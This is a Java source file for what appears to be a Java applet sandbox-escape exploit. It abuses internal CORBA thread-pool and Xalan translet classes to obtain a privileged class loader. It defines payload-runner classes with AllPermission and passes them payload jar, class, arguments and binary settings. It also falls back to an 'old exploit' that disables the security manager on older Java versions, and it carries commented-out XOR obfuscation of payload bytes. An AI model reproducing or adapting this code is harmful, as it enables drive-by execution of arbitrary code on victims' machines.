package x;

import java.net.MalformedURLException;
import java.net.URL;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;

import com.sun.corba.se.impl.orbutil.threadpool.ThreadPoolImpl;
import com.sun.corba.se.impl.protocol.CorbaMessageMediatorImpl;
import com.sun.corba.se.impl.transport.SocketOrChannelConnectionImpl;
import com.sun.corba.se.pept.transport.Connection;
import com.sun.corba.se.spi.orb.ORB;
import com.sun.corba.se.spi.transport.CorbaContactInfo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class CorbaTrustedMethodChain extends AbstractTranslet {
	
    public static byte[] payloadRunnerClassBytes;	
	public static byte[] privilegedURLClassLoaderClassBytes;
	public static byte[] serializedBytes;

	public static String pJar;
	public static String pClass;
	public static String[] pArgs;
	public static String docBase;
	public static String pBin;
	
	public CorbaTrustedMethodChain() {
		super.transletVersion = VER_SPLIT_NAMES_ARRAY;
		super.namesArray = new String[] { "x" };
		// Required to retrieve this instance from TransformerImpl.
		addParameter("x", this);
	}

	public Class<?> getClass(String name) throws ClassNotFoundException {
		return Class.forName(name);
	}
	
	public static void go() {
		if( useOldExploitOnOldJavaVersions() ) {
			return;
		}
		
        ORB orb = new MyORB();

        Connection con = new MyConnection();
        CorbaMessageMediatorImpl messageMediator =
            new MyCorbaMessageMediatorImpl(orb, con);
        CorbaContactInfo ci = new MyContactInfo();

        SocketOrChannelConnectionImpl socCon =
            new MySocketOrChannelConnectionImpl(orb,messageMediator,ci);

        // Set the machine to work
        ThreadPoolImpl tpi = new ThreadPoolImpl("Peters Pool");
        tpi.getAnyWorkQueue().addWork(socCon);

        // Not let the worker do its work
        System.out.println("Wating for Classloader...");
        while( ClassLoaderHolder.object == null ) {
//            System.out.println("Classloader field still null...");
            try {
                Thread.sleep(50);
            } catch( InterruptedException e ) {
                // do nothing
            }
        }
        debug("Classloader found!");

        if( ClassLoaderHolder.lastInstance != null &&
            ClassLoaderHolder.object != null ) {
            SerializableClassLoader cl = ClassLoaderHolder.object;
            try {
//	            byte[] bytes = new byte[100000];
                Permissions perms = new Permissions();
                perms.add(new AllPermission());
                CodeSource cs = null;
                try {
                    cs = new CodeSource(new URL("file:///"), new Certificate[0]);
                } catch (MalformedURLException e) {
                    e.printStackTrace();
                }
                ProtectionDomain pd = new ProtectionDomain(cs, perms);

//    		    boolean decodeNeeded = true;
//                InputStream in = getClass().getResourceAsStream("/x/puc");
//                if( in == null ) {
//                    in = getClass().getResourceAsStream("PrivilegedURLClassLoader.class");
//                    decodeNeeded = false; // Dev mode
//                }
//                bytes = new byte[100000];
//                int bytesRead = in.read(bytes);
//                if( decodeNeeded ) {
//                	for( int i=0; i<bytes.length; i++ ) {
//                		bytes[i] = (byte) (bytes[i] ^ 255); // Enought to hide
//                	}
//                }
//                
//                System.out.println(url);
                
                Class<?> clazz = cl.defineMyClass(null,payloadRunnerClassBytes,0,payloadRunnerClassBytes.length,pd);
              
                Class<?> clClazz = cl.defineMyClass(null,privilegedURLClassLoaderClassBytes,0,privilegedURLClassLoaderClassBytes.length,pd);
                
                debug("get fields and set: " + clazz);
                clazz.getField("docBase").set(null, docBase);
                clazz.getField("pJar").set(null, pJar);
                clazz.getField("pClass").set(null, pClass);
                clazz.getField("pArgs").set(null, pArgs);
                clazz.getField("pBin").set(null, pBin);
                clazz.getField("clClazz").set(null, clClazz);

                java.lang.Object o = clazz.newInstance();
                debug(o.toString());
            } catch (Exception e) {
                e.printStackTrace();
            }
        } else {
            debug("Failed ClassLoader deserialize");
        }
    }

	private static void debug(String string) {
		//System.out.println(string);
	}

	private static boolean useOldExploitOnOldJavaVersions() {
		String javaVersion = System.getProperty("java.version");
		debug("Running on "+javaVersion);
		if( javaVersion.startsWith("1.7.0_") ) {
			if( javaVersion.compareTo("1.7.0_05") >= 0 ) {
				debug("Using new exploit");
				return false;
			}
		}
		if( javaVersion.startsWith("1.6.0_") ) {
			if( javaVersion.compareTo("1.6.0_35") >= 0 ) {
				debug("Using new exploit");
				return false;
			}
		}
		debug("Using old exploit");
		try {
			new FallbackExploit().disableSecurity();
			 
			SerializableClassLoader cl = new SerializableClassLoader();
			 Permissions perms = new Permissions();
             perms.add(new AllPermission());
             CodeSource cs = null;
             try {
                 cs = new CodeSource(new URL("file:///"), new Certificate[0]);
             } catch (MalformedURLException e) {
                 e.printStackTrace();
             }
             ProtectionDomain pd = new ProtectionDomain(cs, perms);

            Class<?> clazz = cl.defineMyClass(null,payloadRunnerClassBytes,0,payloadRunnerClassBytes.length,pd);
          
            Class<?> clClazz = cl.defineMyClass(null,privilegedURLClassLoaderClassBytes,0,privilegedURLClassLoaderClassBytes.length,pd);
            
            clazz.getField("docBase").set(null, docBase);
            clazz.getField("pJar").set(null, pJar);
            clazz.getField("pClass").set(null, pClass);
            clazz.getField("pArgs").set(null, pArgs);
            clazz.getField("pBin").set(null, pBin);
            clazz.getField("clClazz").set(null, clClazz);

            java.lang.Object o = clazz.newInstance();
            debug(o.toString());
            
			return true;
		} catch (Throwable e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
		debug("Old exploit failed... trying new exploit then anyway.");
		return false;
	}

	@Override
	public void transform(DOM document, SerializationHandler[] handlers)
			throws TransletException {
		// Not needed
	}


	@Override
	public void transform(DOM document, DTMAxisIterator iterator,
			SerializationHandler handler) throws TransletException {
		// Not needed
	}

}
